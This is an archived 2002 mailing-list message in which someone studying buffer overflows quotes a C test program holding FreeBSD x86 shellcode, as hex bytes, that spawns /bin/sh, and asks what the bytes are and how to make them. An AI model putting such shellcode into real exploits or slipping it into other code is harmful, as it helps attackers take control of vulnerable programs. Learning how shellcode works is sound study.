Message-ID: <20020624001839.H342@nietzsche> (raw)
hi, i am reading a doc about buffer overflow, and i have some questions, check
+this c code:
char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
int main() {
void (*s)()=(void *)bsdshell;
s();
}
If i run it, it executes a shell. I'd like to know in what does bsdshell
+contain?, What is it? hexadacimal? how can i get that?, acording to the doc,
+it's the execve for /bin/sh.
